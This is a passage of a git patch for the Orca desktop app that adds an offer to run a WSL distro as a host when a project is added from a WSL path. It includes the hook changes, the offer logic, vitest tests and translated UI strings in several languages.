import('./useAddRepoLocalFolderFlow') + + const { handleBrowse } = useAddRepoLocalFolderFlow({ + isOpen: true, + droppedLocalPath: '', + activeRuntimeEnvironmentId: null, + addRepoPath, + openModal, + closeModal, + fetchWorktrees, + scanNestedRepos, + setActiveNestedScanId, + setNestedScanInProgress, + showNestedRepoReview, + onGitRepoReady, + setIsAdding, + setAddProjectBusyLabel, + offerWslHost + }) + + await handleBrowse() + + expect(offerWslHost).toHaveBeenCalledWith(path, 'local_folder_picker') + expect(scanNestedRepos).not.toHaveBeenCalled() + expect(addRepoPath).not.toHaveBeenCalled() + expect(setIsAdding).toHaveBeenLastCalledWith(false) + }) + it('skips nested-review folders in a multi-folder add and continues with git folders', async () => { pickFolders.mockResolvedValue(['/projects/monorepo', '/projects/later']) scanNestedRepos.mockImplementationOnce(async (_path, _connectionId, controls) => { diff --git a/src/renderer/src/components/sidebar/useAddRepoLocalFolderFlow.ts b/src/renderer/src/components/sidebar/useAddRepoLocalFolderFlow.ts index 447229206ac..551de5c986f 100644 --- a/src/renderer/src/components/sidebar/useAddRepoLocalFolderFlow.ts +++ b/src/renderer/src/components/sidebar/useAddRepoLocalFolderFlow.ts @@ -17,6 +17,7 @@ import { translate } from '@/i18n/i18n' import { worktreeRefreshOptions } from './add-repo-runtime-owner' import type { ExecutionHostId } from '../../../../shared/execution-host' import { addRepoBusyLabels } from './add-repo-busy-labels' +import { showSkippedBatchFoldersToast } from './add-repo-skipped-folders-toast' type LocalPathAddResult = | { status: 'completed'; repo: Repo } @@ -38,7 +39,8 @@ export function useAddRepoLocalFolderFlow({ showNestedRepoReview, onGitRepoReady, setIsAdding, - setAddProjectBusyLabel + setAddProjectBusyLabel, + offerWslHost }: { isOpen: boolean droppedLocalPath: string @@ -58,6 +60,8 @@ export function useAddRepoLocalFolderFlow({ ) => Promise setIsAdding: (isAdding: boolean) => void setAddProjectBusyLabel: (label: string | null) => void + /** True when it held this single local path to offer running its WSL distro as a host. */ + offerWslHost?: (path: string, source: AddRepoExistingWorkspaceSource) => boolean }): { handleBrowse: () => Promise resetLocalFolderFlow: () => void @@ -254,18 +258,7 @@ export function useAddRepoLocalFolderFlow({ return } if (skippedCount > 0) { - toast.info( - translate( - 'auto.components.sidebar.useAddRepoLocalFolderFlow.skippedBatchFolders', - 'Some folders were skipped' - ), - { - description: translate( - 'auto.components.sidebar.useAddRepoLocalFolderFlow.skippedBatchFoldersDescription', - 'Add skipped folders individually to review or confirm them.' - ) - } - ) + showSkippedBatchFoldersToast() } if (shouldDeferGitRepoReady && gitRepoIds.length > 0) { await onGitRepoReady( @@ -286,8 +279,10 @@ export function useAddRepoLocalFolderFlow({ return } droppedLocalPathHandledRef.current = droppedLocalPath - void handleAddLocalPath(droppedLocalPath, 'local_folder_picker') - }, [droppedLocalPath, handleAddLocalPath, isOpen]) + if (!offerWslHost?.(droppedLocalPath, 'local_folder_picker')) { + void handleAddLocalPath(droppedLocalPath, 'local_folder_picker') + } + }, [droppedLocalPath, handleAddLocalPath, isOpen, offerWslHost]) const handleBrowse = useCallback(async (): Promise => { const gen = ++localAddGenRef.current @@ -298,6 +293,9 @@ export function useAddRepoLocalFolderFlow({ if (paths.length === 0 || gen !== localAddGenRef.current) { return } + if (paths.length === 1 && offerWslHost?.(paths[0], 'local_folder_picker')) { + return + } await handleAddLocalPaths(paths, 'local_folder_picker', gen) } finally { if (gen === localAddGenRef.current) { @@ -306,7 +304,7 @@ export function useAddRepoLocalFolderFlow({ setAddProjectBusyLabel(null) } } - }, [clearNestedScanState, handleAddLocalPaths, setAddProjectBusyLabel, setIsAdding]) + }, [clearNestedScanState, handleAddLocalPaths, offerWslHost, setAddProjectBusyLabel, setIsAdding]) return { handleBrowse, resetLocalFolderFlow, handleAddLocalPath } } diff --git a/src/renderer/src/components/sidebar/wsl-host-offer-actions.ts b/src/renderer/src/components/sidebar/wsl-host-offer-actions.ts new file mode 100644 index 00000000000..6590762f819 --- /dev/null +++ b/src/renderer/src/components/sidebar/wsl-host-offer-actions.ts @@ -0,0 +1,54 @@ +import type { AddRepoExistingWorkspaceSource } from '../../../../shared/telemetry-events' +import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { WslHostAddResult } from '../../../../shared/wsl-host-types' + +export type WslHostOffer = { + path: string + distro: string + source: AddRepoExistingWorkspaceSource +} + +export type WslHostOfferDeps = { + /** The setting before Accept, restored when the host add fails. */ + readWslHostsSetting: () => boolean + updateSettings: (updates: Partial) => Promise + addWslHost: (args: { distro: string; startIfStopped: boolean }) => Promise + addLocalPath: (path: string, source: AddRepoExistingWorkspaceSource) => Promise +} + +/** + * Turns WSL hosts on, adds the distro, then adds the project as before: opening it is what lets + * the existing automatic move carry it onto the new host. Returns the refusal when the add fails. + */ +export async function acceptWslHostOffer( + offer: WslHostOffer, + deps: WslHostOfferDeps +): Promise | null> { + const previous = deps.readWslHostsSetting() + // Left on after a failure, a later "Add on this computer" would still be auto-moved. + const restore = (): Promise => deps.updateSettings({ experimentalWslHosts: previous }) + let result: WslHostAddResult + try { + await deps.updateSettings({ experimentalWslHosts: true }) + // Accepting is the user's ask to run this distro, so a stopped one may start. + result = await deps.addWslHost({ distro: offer.distro, startIfStopped: true }) + } catch (cause) { + await restore() + throw cause + } + if (!result.ok && result.kind !== 'already-added') { + await restore() + return result + } + await deps.addLocalPath(offer.path, offer.source) + return null +} + +/** Adds the project as before, and never offers again. */ +export async function declineWslHostOffer( + offer: WslHostOffer, + deps: Pick +): Promise { + await deps.updateSettings({ wslHostOfferDismissed: true }) + await deps.addLocalPath(offer.path, offer.source) +} diff --git a/src/renderer/src/components/sidebar/wsl-host-offer.test.ts b/src/renderer/src/components/sidebar/wsl-host-offer.test.ts new file mode 100644 index 00000000000..bc4c84bf13d --- /dev/null +++ b/src/renderer/src/components/sidebar/wsl-host-offer.test.ts @@ -0,0 +1,188 @@ +import { afterEach, describe, expect, it, vi } from 'vitest' +import { + readWslHostOfferGate, + shouldOfferWslHost, + wslHostOfferDistro, + wslHostOfferFor, + type WslHostOfferGate +} from './wsl-host-offer' +import type { WslHostAddResult } from '../../../../shared/wsl-host-types' +import type { GlobalSettings } from '../../../../shared/global-settings-types' +import { + acceptWslHostOffer, + declineWslHostOffer, + type WslHostOffer +} from './wsl-host-offer-actions' + +const open: WslHostOfferGate = { gateOpen: true, settingOn: false, dismissed: false } + +describe('wslHostOfferDistro', () => { + it.each([ + ['\\\\wsl.localhost\\Ubuntu\\home\\me\\repo', 'Ubuntu'], + ['\\\\wsl$\\Debian\\home\\me\\repo', 'Debian'], + ['\\\\WSL.LOCALHOST\\Ubuntu-22.04\\srv', 'Ubuntu-22.04'], + ['\\\\WSL$\\Arch', 'Arch'], + ['//wsl.localhost/Ubuntu/home/me', 'Ubuntu'] + ])('reads the distro from %s', (path, distro) => { + expect(wslHostOfferDistro(path)).toBe(distro) + }) + + it.each([ + 'C:\\Users\\me\\repo', + '\\\\server\\share\\repo', + '\\\\wsl.localhostx\\Ubuntu\\repo', + '/home/me/repo', + '/mnt/c/Users/me', + '' + ])('offers nothing for %s', (path) => { + expect(wslHostOfferDistro(path)).toBeNull() + }) +}) + +describe('shouldOfferWslHost', () => { + const cases: [WslHostOfferGate, boolean][] = [] + for (const gateOpen of [true, false]) { + for (const settingOn of [true, false]) { + for (const dismissed of [true, false]) { + cases.push([{ gateOpen, settingOn, dismissed }, gateOpen && !settingOn && !dismissed]) + } + } + } + + it.each(cases)('%o offers: %s', (gate, expected) => { + expect(shouldOfferWslHost(gate)).toBe(expected) + }) + + it('offers only for a WSL path once visible', () => { + expect(wslHostOfferFor('\\\\wsl$\\Ubuntu\\repo', open)).toBe('Ubuntu') + expect(wslHostOfferFor('C:\\repo', open)).toBeNull() + expect(wslHostOfferFor('\\\\wsl$\\Ubuntu\\repo', { ...open, dismissed: true })).toBeNull() + }) +}) + +describe('readWslHostOfferGate', () => { + afterEach(() => vi.unstubAllGlobals()) + const state = { + settings: null, + wslHostsAcceptNewWork: true, + wslHostServerFiles: 'present' as const + } + + it('is closed where the preload offers no WSL hosts (not Windows, or gate closed)', () => { + vi.stubGlobal('window', { api: { runtimeEnvironments: {} } }) + expect(readWslHostOfferGate(state).gateOpen).toBe(false) + }) + + it('is open with WSL hosts available, accepting new work and shipped server files', () => { + vi.stubGlobal('window', { api: { runtimeEnvironments: { wslHosts: {} } } }) + expect(readWslHostOfferGate(state)).toEqual({ + gateOpen: true, + settingOn: false, + dismissed: false + }) + expect(readWslHostOfferGate({ ...state, wslHostsAcceptNewWork: false }).gateOpen).toBe(false) + expect(readWslHostOfferGate({ ...state, wslHostServerFiles: 'missing' }).gateOpen).toBe(false) + }) + + it('reads the setting and the dismissal from settings', () => { + vi.stubGlobal('window', { api: { runtimeEnvironments: { wslHosts: {} } } }) + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the gate reads only these two settings. + const settings = { experimentalWslHosts: true, wslHostOfferDismissed: true } as GlobalSettings + expect(readWslHostOfferGate({ ...state, settings })).toMatchObject({ + settingOn: true, + dismissed: true + }) + }) +}) + +describe('offer actions', () => { + const offer: WslHostOffer = { + path: '\\\\wsl.localhost\\Ubuntu\\home\\me\\repo', + distro: 'Ubuntu', + source: 'local_folder_picker' + } + + function deps(addResult: WslHostAddResult) { + const calls: string[] = [] + const acceptDeps = { + readWslHostsSetting: () => false, + updateSettings: vi.fn(async (updates: Partial) => { + calls.push(`settings ${JSON.stringify(updates)}`) + }), + addWslHost: vi.fn(async (args: { distro: string; startIfStopped: boolean }) => { + calls.push(`host ${args.distro}`) + return addResult + }), + addLocalPath: vi.fn(async (path: string) => { + calls.push(`project ${path}`) + }) + } + return { calls, acceptDeps } + } + + it('accept turns hosts on, adds the distro, then adds the project', async () => { + const { calls, acceptDeps: d } = deps({ ok: true, environmentId: 'wsl:ubuntu' }) + expect(await acceptWslHostOffer(offer, d)).toBeNull() + expect(calls).toEqual([ + 'settings {"experimentalWslHosts":true}', + 'host Ubuntu', + `project ${offer.path}` + ]) + }) + + it('accept goes on when the distro is already a host', async () => { + const { acceptDeps: d } = deps({ ok: false, kind: 'already-added', message: 'x' }) + expect(await acceptWslHostOffer(offer, d)).toBeNull() + expect(d.addLocalPath).toHaveBeenCalledOnce() + }) + + it('accept stops, restores the setting and returns a refusal without adding the project', async () => { + const refusal = { ok: false as const, kind: 'unsupported-wsl1' as const, message: 'wsl1' } + const { calls, acceptDeps: d } = deps(refusal) + expect(await acceptWslHostOffer(offer, d)).toEqual(refusal) + expect(d.addLocalPath).not.toHaveBeenCalled() + expect(calls).toEqual([ + 'settings {"experimentalWslHosts":true}', + 'host Ubuntu', + 'settings {"experimentalWslHosts":false}' + ]) + }) + + it('accept restores the setting when the host add throws', async () => { + const { calls, acceptDeps: d } = deps({ ok: true, environmentId: 'unused' }) + d.addWslHost.mockRejectedValueOnce(new Error('ipc gone')) + await expect(acceptWslHostOffer(offer, d)).rejects.toThrow('ipc gone') + expect(d.addLocalPath).not.toHaveBeenCalled() + expect(calls).toEqual([ + 'settings {"experimentalWslHosts":true}', + 'settings {"experimentalWslHosts":false}' + ]) + }) + + it('a decline after a failed accept leaves the setting as it was', async () => { + const refusal = { ok: false as const, kind: 'failed' as const, message: 'no' } + const { acceptDeps: d } = deps(refusal) + await acceptWslHostOffer(offer, d) + await declineWslHostOffer(offer, d) + expect(d.updateSettings).toHaveBeenLastCalledWith({ wslHostOfferDismissed: true }) + expect(d.updateSettings.mock.calls.map(([u]) => u)).toEqual([ + { experimentalWslHosts: true }, + { experimentalWslHosts: false }, + { wslHostOfferDismissed: true } + ]) + }) + + it('restores a setting that was already on', async () => { + const { acceptDeps: d } = deps({ ok: false, kind: 'failed', message: 'no' }) + d.readWslHostsSetting = () => true + await acceptWslHostOffer(offer, d) + expect(d.updateSettings).toHaveBeenLastCalledWith({ experimentalWslHosts: true }) + }) + + it('decline remembers the choice and adds the project as before', async () => { + const { calls, acceptDeps: d } = deps({ ok: true, environmentId: 'unused' }) + await declineWslHostOffer(offer, d) + expect(calls).toEqual(['settings {"wslHostOfferDismissed":true}', `project ${offer.path}`]) + expect(d.addWslHost).not.toHaveBeenCalled() + }) +}) diff --git a/src/renderer/src/components/sidebar/wsl-host-offer.ts b/src/renderer/src/components/sidebar/wsl-host-offer.ts new file mode 100644 index 00000000000..858c1b9149e --- /dev/null +++ b/src/renderer/src/components/sidebar/wsl-host-offer.ts @@ -0,0 +1,35 @@ +import { parseWslUncPath } from '../../../../shared/wsl-paths' +import type { AppState } from '@/store/types' +import { wslHostsAvailable } from './use-wsl-hosts-enabled' + +export type WslHostOfferGate = { + /** WSL hosts can take new work here: Windows (or its e2e fake), gate open, server files shipped. */ + gateOpen: boolean + settingOn: boolean + dismissed: boolean +} + +/** The distro a `\\wsl.localhost\\…` or `\\wsl$\\…` path names; never asks WSL. */ +export function wslHostOfferDistro(path: string): string | null { + return parseWslUncPath(path)?.distro ?? null +} + +export function shouldOfferWslHost(gate: WslHostOfferGate): boolean { + return gate.gateOpen && !gate.settingOn && !gate.dismissed +} + +export function readWslHostOfferGate( + state: Pick +): WslHostOfferGate { + return { + gateOpen: + wslHostsAvailable() && state.wslHostsAcceptNewWork && state.wslHostServerFiles !== 'missing', + settingOn: state.settings?.experimentalWslHosts === true, + dismissed: state.settings?.wslHostOfferDismissed === true + } +} + +/** The distro to offer for `path`, or null where the add goes ahead as before. */ +export function wslHostOfferFor(path: string, gate: WslHostOfferGate): string | null { + return shouldOfferWslHost(gate) ? wslHostOfferDistro(path) : null +} diff --git a/src/renderer/src/i18n/locales/de.json b/src/renderer/src/i18n/locales/de.json index 8c38ee98b9e..d812ac1eade 100644 --- a/src/renderer/src/i18n/locales/de.json +++ b/src/renderer/src/i18n/locales/de.json @@ -210,6 +210,11 @@ }, "cardProperties": { "agentModel": "Agentenmodell" + }, + "wslHostOffer": { + "title": "{{distro}} als Host ausführen (empfohlen)", + "why": "Git, Dateien und Terminals laufen dann nativ in Linux statt über die Windows-Dateifreigabe.", + "accept": "Als Host ausführen" } }, "app": { @@ -7129,13 +7134,15 @@ "distro": "Distribution", "loading": "WSL-Distributionen werden gesucht…", "placeholder": "Distribution auswählen", - "none": "Keine WSL-Distributionen gefunden. Installation mit: wsl --install", "stoppedHint": "{{value0}} ist gestoppt. Das Hinzufügen startet die Distribution.", "addingHint": "Der Orca-Server wird in der Distribution installiert und gestartet. Beim ersten Mal kann dies eine Minute dauern.", "adding": "Wird eingerichtet…", "startAndAdd": "Starten und hinzufügen", "add": "Host hinzufügen", - "refresh": "Aktualisieren" + "refresh": "Aktualisieren", + "wsl1Reason": "WSL 1 kann keinen Orca-Host ausführen; konvertieren mit {{command}}", + "noWsl2Title": "Keine WSL-2-Distributionen gefunden", + "noWsl2Install": "Installiere eine in einem Windows-Terminal mit {{command}} und wähle dann Aktualisieren." }, "wslHostRowStatus": { "connecting": "Wird gestartet", diff --git a/src/renderer/src/i18n/locales/en.json b/src/renderer/src/i18n/locales/en.json index 44f296eeb4f..46e64196958 100644 --- a/src/renderer/src/i18n/locales/en.json +++ b/src/renderer/src/i18n/locales/en.json @@ -210,6 +210,11 @@ }, "cardProperties": { "agentModel": "Agent model" + }, + "wslHostOffer": { + "title": "Run {{distro}} as a host (recommended)", + "why": "Git, files and terminals then run natively in Linux instead of across the Windows file share.", + "accept": "Run as host" } }, "app": { @@ -7214,14 +7219,15 @@ "distro": "Distro", "loading": "Looking for WSL distros…", "placeholder": "Choose a distro", - "none": "No WSL distros found. Install one with: wsl --install", "stoppedHint": "{{value0}} is stopped. Adding it starts it.", "addingHint": "Installing and starting the Orca server in the distro. The first time can take a minute.", "adding": "Setting up…", "startAndAdd": "Start and add", "add": "Add host", "refresh": "Refresh", - "wsl1Hint": "WSL 1 distros can’t be hosts. Convert one in a Windows terminal with: wsl --set-version {{value0}} 2" + "wsl1Reason": "WSL 1 can’t run an Orca host; convert with {{command}}", + "noWsl2Title": "No WSL 2 distros found", + "noWsl2Install": "Install one from a Windows terminal with {{command}}, then choose Refresh." }, "wslHostRowStatus": { "connecting": "Starting", diff --git a/src/renderer/src/i18n/locales/es.json b/src/renderer/src/i18n/locales/es.json index 0c84d239b3e..2a9e348b9cc 100644 --- a/src/renderer/src/i18n/locales/es.json +++ b/src/renderer/src/i18n/locales/es.json @@ -6767,13 +6767,15 @@ "distro": "Distro", "loading": "Buscando distros WSL…", "placeholder": "Elige una distro", - "none": "No se encontraron distros WSL. Instala una con: wsl --install", "stoppedHint": "{{value0}} está detenida. Agregarla la inicia.", "addingHint": "Instalando e iniciando el servidor Orca en la distro. La primera vez puede tardar un minuto.", "adding": "Configurando…", "startAndAdd": "Iniciar y agregar", "add": "Agregar host", - "refresh": "Actualizar" + "refresh": "Actualizar", + "wsl1Reason": "WSL 1 no puede ejecutar un host de Orca; conviértela con {{command}}", + "noWsl2Title": "No se encontraron distribuciones de WSL 2", + "noWsl2Install": "Instala una desde una terminal de Windows con {{command}} y luego elige Actualizar." }, "wslHostRowStatus": { "connecting": "Iniciando", @@ -21182,6 +21184,11 @@ }, "cardProperties": { "agentModel": "Modelo del agente" + }, + "wslHostOffer": { + "title": "Ejecutar {{distro}} como host (recomendado)", + "why": "Git, los archivos y las terminales se ejecutan de forma nativa en Linux en lugar de a través del recurso compartido de Windows.", + "accept": "Ejecutar como host" } }, "rendererRecovery": { diff --git a/src/renderer/src/i18n/locales/fr.json b/src/renderer/src/i18n/locales/fr.json index 57d4e61ca06..81aec093dab 100644 --- a/src/renderer/src/i18n/locales/fr.json +++ b/src/renderer/src/i18n/locales/fr.json @@ -6991,13 +6991,15 @@ "distro": "Distro", "loading": "Recherche des distros WSL…", "placeholder": "Choisissez une distro", - "none": "Aucune distro WSL trouvée. Installez-en une avec : wsl --install", "stoppedHint": "{{value0}} est arrêtée. L'ajouter la démarre.", "addingHint": "Installation et démarrage du serveur Orca dans la distro. La première fois peut prendre une minute.", "adding": "Configuration…", "startAndAdd": "Démarrer et ajouter", "add": "Ajouter un hôte", - "refresh": "Actualiser" + "refresh": "Actualiser", + "wsl1Reason": "WSL 1 ne peut pas exécuter d’hôte Orca ; convertissez-la avec {{command}}", + "noWsl2Title": "Aucune distribution WSL 2 trouvée", + "noWsl2Install": "Installez-en une depuis un terminal Windows avec {{command}}, puis choisissez Actualiser." }, "wslHostRowStatus": { "connecting": "Démarrage", @@ -20940,6 +20942,11 @@ }, "cardProperties": { "agentModel": "Modèle de l’agent" + }, + "wslHostOffer": { + "title": "Exécuter {{distro}} comme hôte (recommandé)", + "why": "Git, les fichiers et les terminaux s’exécutent alors nativement sous Linux plutôt qu’à travers le partage de fichiers Windows.", + "accept": "Exécuter comme hôte" } }, "editor": { diff --git a/src/renderer/src/i18n/locales/ja.json b/src/renderer/src/i18n/locales/ja.json index 271f2bb9230..94ef54e9859 100644 --- a/src/renderer/src/i18n/locales/ja.json +++ b/src/renderer/src/i18n/locales/ja.json @@ -6509,13 +6509,15 @@ "distro": "ディストリビューション", "loading": "WSL ディストリビューションを探しています…", "placeholder": "ディストリビューションを選択", - "none": "WSL ディストリビューションが見つかりません。次のコマンドでインストールできます: wsl --install", "stoppedHint": "{{value0}} は停止しています。追加すると起動します。", "addingHint": "ディストリビューション内に Orca サーバーをインストールして起動しています。初回は 1 分ほどかかることがあります。", "adding": "セットアップ中…", "startAndAdd": "起動して追加", "add": "ホストを追加", - "refresh": "更新" + "refresh": "更新", + "wsl1Reason": "WSL 1 では Orca ホストを実行できません。{{command}} で変換してください", + "noWsl2Title": "WSL 2 ディストリビューションが見つかりません", + "noWsl2Install": "Windows ターミナルで {{command}} を実行してインストールし、[更新] を選択してください。" }, "wslHostRowStatus": { "connecting": "起動中", @@ -20207,6 +20209,11 @@ }, "cardProperties": { "agentModel": "Agent のモデル" + }, + "wslHostOffer": { + "title": "{{distro}} をホストとして実行(推奨)", + "why": "Git、ファイル、ターミナルが Windows のファイル共有を経由せず、Linux 上でネイティブに動作します。", + "accept": "ホストとして実行" } }, "editor": { diff --git a/src/renderer/src/i18n/locales/ko.json b/src/renderer/src/i18n/locales/ko.json index baa8333a621..0f3a5ccb5da 100644 --- a/src/renderer/src/i18n/locales/ko.json +++ b/src/renderer/src/i18n/locales/ko.json @@ -6509,13 +6509,15 @@ "distro": "배포판", "loading": "WSL 배포판 찾는 중…", "placeholder": "배포판 선택", - "none": "WSL 배포판을 찾을 수 없습니다. 다음 명령으로 설치하세요: wsl --install", "stoppedHint": "{{value0}}이(가) 중지되어 있습니다. 추가하면 시작됩니다.", "addingHint": "배포판에 Orca 서버를 설치하고 시작하는 중입니다. 처음에는 1분 정도 걸릴 수 있습니다.", "adding": "설정 중…", "startAndAdd": "시작 및 추가", "add": "호스트 추가", - "refresh": "새로고침" + "refresh": "새로고침", + "wsl1Reason": "WSL 1에서는 Orca 호스트를 실행할 수 없습니다. {{command}}(으)로 변환하세요", + "noWsl2Title": "WSL 2 배포판을 찾을 수 없음", + "noWsl2Install": "Windows 터미널에서 {{command}}(으)로 설치한 다음 새로 고침을 선택하세요." }, "wslHostRowStatus": { "connecting": "시작 중", @@ -20207,6 +20209,11 @@ }, "cardProperties": { "agentModel": "에이전트 모델" + }, + "wslHostOffer": { + "title": "{{distro}}을(를) 호스트로 실행(권장)", + "why": "Git, 파일, 터미널이 Windows 파일 공유를 거치지 않고 Linux에서 기본으로 실행됩니다.", + "accept": "호스트로 실행" } }, "editor": { diff --git a/src/renderer/src/i18n/locales/pt.json b/src/renderer/src/i18n/locales/pt.json index 75ef3cad3b4..0f59d77e877 100644 --- a/src/renderer/src/i18n/locales/pt.json +++ b/src/renderer/src/i18n/locales/pt.json @@ -589,6 +589,11 @@ }, "cardProperties": { "agentModel": "Modelo do agente" + }, + "wslHostOffer": { + "title": "Executar {{distro}} como host (recomendado)", + "why": "Git, arquivos e terminais passam a rodar nativamente no Linux em vez de pelo compartilhamento de arquivos do Windows.", + "accept": "Executar como host" } }, "tray": { @@ -12461,13 +12466,15 @@ "distro": "Distribuição", "loading": "Procurando distribuições WSL…", "placeholder": "Escolha uma distribuição", - "none": "Nenhuma distribuição WSL encontrada. Instale uma com: wsl --install", "stoppedHint": "{{value0}} está parada. Adicioná-la irá iniciá-la.", "addingHint": "Instalando e iniciando o servidor Orca na distribuição. Na primeira vez, pode levar um minuto.", "adding": "Configurando…", "startAndAdd": "Iniciar e adicionar", "add": "Adicionar host", - "refresh": "Atualizar" + "refresh": "Atualizar", + "wsl1Reason": "O WSL 1 não pode executar um host do Orca; converta com {{command}}", + "noWsl2Title": "Nenhuma distribuição WSL 2 encontrada", + "noWsl2Install": "Instale uma em um terminal do Windows com {{command}} e depois escolha Atualizar." }, "wslHostRowStatus": { "connecting": "Iniciando", diff --git a/src/renderer/src/i18n/locales/ru.json b/src/renderer/src/i18n/locales/ru.json index 5cab79f6779..53d09822310 100644 --- a/src/renderer/src/i18n/locales/ru.json +++ b/src/renderer/src/i18n/locales/ru.json @@ -258,6 +258,11 @@ }, "cardProperties": { "agentModel": "Модель агента" + }, + "wslHostOffer": { + "title": "Запустить {{distro}} как хост (рекомендуется)", + "why": "Git, файлы и терминалы будут работать нативно в Linux, а не через общий ресурс Windows.", + "accept": "Запустить как хост" } }, "app": { @@ -7463,13 +7468,15 @@ "distro": "Дистрибутив", "loading": "Поиск дистрибутивов WSL…", "placeholder": "Выберите дистрибутив", - "none": "Дистрибутивы WSL не найдены. Установите один командой: wsl --install", "stoppedHint": "{{value0}} остановлен. При добавлении он будет запущен.", "addingHint": "Установка и запуск сервера Orca в дистрибутиве. Первый запуск может занять около минуты.", "adding": "Настройка…", "startAndAdd": "Запустить и добавить", "add": "Добавить сервер", - "refresh": "Обновить" + "refresh": "Обновить", + "wsl1Reason": "WSL 1 не может запустить хост Orca; преобразуйте командой {{command}}", + "noWsl2Title": "Дистрибутивы WSL 2 не найдены", + "noWsl2Install": "Установите дистрибутив в терминале Windows командой {{command}}, затем нажмите «Обновить»." }, "wslHostRowStatus": { "connecting": "Запуск", diff --git a/src/renderer/src/i18n/locales/tr.json b/src/renderer/src/i18n/locales/tr.json index 5f2f01701a3..32c176cfcc3 100644 --- a/src/renderer/src/i18n/locales/tr.json +++ b/src/renderer/src/i18n/locales/tr.json @@ -210,6 +210,11 @@ }, "cardProperties": { "agentModel": "Aracı modeli" + }, + "wslHostOffer": { + "title": "{{distro}} dağıtımını ana makine olarak çalıştır (önerilir)", + "why": "Git, dosyalar ve terminaller Windows dosya paylaşımı yerine doğrudan Linux'ta çalışır.", + "accept": "Ana makine olarak çalıştır" } }, "app": { @@ -7115,13 +7120,15 @@ "distro": "Dağıtım", "loading": "WSL dağıtımları aranıyor…", "placeholder": "Dağıtım seçin", - "none": "WSL dağıtımı bulunamadı. Yüklemek için: wsl --install", "stoppedHint": "{{value0}} durdurulmuş. Eklemek onu başlatır.", "addingHint": "Orca sunucusu dağıtıma yüklenip başlatılıyor. İlk seferinde bir dakika sürebilir.", "adding": "Kuruluyor…", "startAndAdd": "Başlat ve ekle", "add": "Ana makine ekle", - "refresh": "Yenile" + "refresh": "Yenile", + "wsl1Reason": "WSL 1 bir Orca ana makinesi çalıştıramaz; {{command}} ile dönüştürün", + "noWsl2Title": "WSL 2 dağıtımı bulunamadı", + "noWsl2Install": "Bir Windows terminalinde {{command}} ile bir dağıtım yükleyin, ardından Yenile'yi seçin." }, "wslHostRowStatus": { "connecting": "Başlatılıyor", diff --git a/src/renderer/src/i18n/locales/zh-Hant.json b/src/renderer/src/i18n/locales/zh-Hant.json index 3970d7af1ab..65aae85ab80 100644 --- a/src/renderer/src/i18n/locales/zh-Hant.json +++ b/src/renderer/src/i18n/locales/zh-Hant.json @@ -186,6 +186,11 @@ }, "cardProperties": { "agentModel": "代理程式模型" + }, + "wslHostOffer": { + "title": "將 {{distro}} 作為主機執行(建議)", + "why": "Git、檔案和終端機將在 Linux 中原生執行,而不是透過 Windows 檔案共用。", + "accept": "作為主機執行" } }, "app": { @@ -6954,13 +6959,15 @@ "distro": "發行版", "loading": "正在查詢 WSL 發行版…", "placeholder": "選擇發行版", - "none": "未找到 WSL 發行版。使用以下命令安裝:wsl --install", "stoppedHint": "{{value0}} 已停止。新增後會自動啟動。", "addingHint": "正在發行版中安裝並啟動 Orca 伺服器。首次可能需要一分鐘。", "adding": "正在設定…", "startAndAdd": "啟動並新增", "add": "新增主機", - "refresh": "重新整理" + "refresh": "重新整理", + "wsl1Reason": "WSL 1 無法執行 Orca 主機;請使用 {{command}} 轉換", + "noWsl2Title": "找不到 WSL 2 發行版", + "noWsl2Install": "在 Windows 終端機中使用 {{command}} 安裝一個,然後選擇「重新整理」。" }, "wslHostRowStatus": { "connecting": "正在啟動", diff --git a/src/renderer/src/i18n/locales/zh.json b/src/renderer/src/i18n/locales/zh.json index fcb430bc26f..8808ff2ac14 100644 --- a/src/renderer/src/i18n/locales/zh.json +++ b/src/renderer/src/i18n/locales/zh.json @@ -6509,13 +6509,15 @@ "distro": "发行版", "loading": "正在查找 WSL 发行版…", "placeholder": "选择发行版", - "none": "未找到 WSL 发行版。使用以下命令安装:wsl --install", "stoppedHint": "{{value0}} 已停止。添加后会自动启动。", "addingHint": "正在发行版中安装并启动 Orca 服务器。首次可能需要一分钟。", "adding": "正在设置…", "startAndAdd": "启动并添加", "add": "添加主机", - "refresh": "刷新" + "refresh": "刷新", + "wsl1Reason": "WSL 1 无法运行 Orca 主机;请使用 {{command}} 转换", + "noWsl2Title": "未找到 WSL 2 发行版", + "noWsl2Install": "在 Windows 终端中使用 {{command}} 安装一个,然后选择“刷新”。" }, "wslHostRowStatus": { "connecting": "正在启动", @@ -20208,6 +20210,11 @@ }, "cardProperties": { "agentModel": "智能体模型" + }, + "wslHostOffer": { + "title": "将 {{distro}} 作为主机运行(推荐)", + "why": "Git、文件和终端将在 Linux 中原生运行,而不是通过 Windows 文件共享。", + "accept": "作为主机运行" } }, "editor": { diff --git a/src/shared/global-settings-types.ts b/src/shared/global-settings-types.ts index 846fc5270af..da69c1958b2 100644 --- a/src/shared/global-settings-types.ts +++ b/src/shared/global-settings-types.ts @@ -470,6 +470,8 @@ export type GlobalSettings = GlobalSettingsBase & { experimentalEphemeralVms?: boolean /** Experimental (Windows): add WSL distros as hosts, each running its own Orca server. */ experimentalWslHosts?: boolean + /** Declined the add-project offer to run a `\\wsl.localhost` project's distro as a host. */ + wslHostOfferDismissed?: boolean /** Compact worktree cards: hide the metadata row when title and branch say the same thing. */ compactWorktreeCards: boolean /** Legacy persisted key from the Experimental rollout; new writes use compactWorktreeCards. */ From 7a7f46f8a3a5ea2671f995dcb70a0896f6e18f6e Mon Sep 17 00:00:00 2001 From: Neil <4138956+nwparker@users.noreply.github.com> Date: Sat, 31 Oct 2026 00:31:42 -0700 Subject: [PATCH 22/47] fix(wsl): find distros when wsl.exe drops its redirected list output (#35509) (#36616) On some WSL 3.0.3 hosts `wsl.exe --list` exits 0 with nothing on a redirected stdout. Orca read that as no distros installed and none running, so the project runtime lost WSL and the background-read gates reported a running distro as stopped. When the installed list comes back empty, read the registered distros from the Lxss registry (default first). If the registry has distros, this host loses list output, so running distros are read through a console instead, where wsl.exe still writes them. Only a painted registered name counts: a blank console or the localized none-running text leaves the answer unverifiable, never stopped. Only list calls run, so no distro starts. --- config/tsconfig.tc.web.json | 3 + src/main/wsl-console-running-distros.test.ts | 132 +++++++++++++ src/main/wsl-console-running-distros.ts | 113 +++++++++++ .../wsl-distro-list-single-flight.test.ts | 8 + src/main/wsl-lost-list-output.test.ts | 183 ++++++++++++++++++ src/main/wsl-registered-distro-fallback.ts | 72 +++++++ src/main/wsl-running-distros.test.ts | 6 +- src/main/wsl.test.ts | 8 + 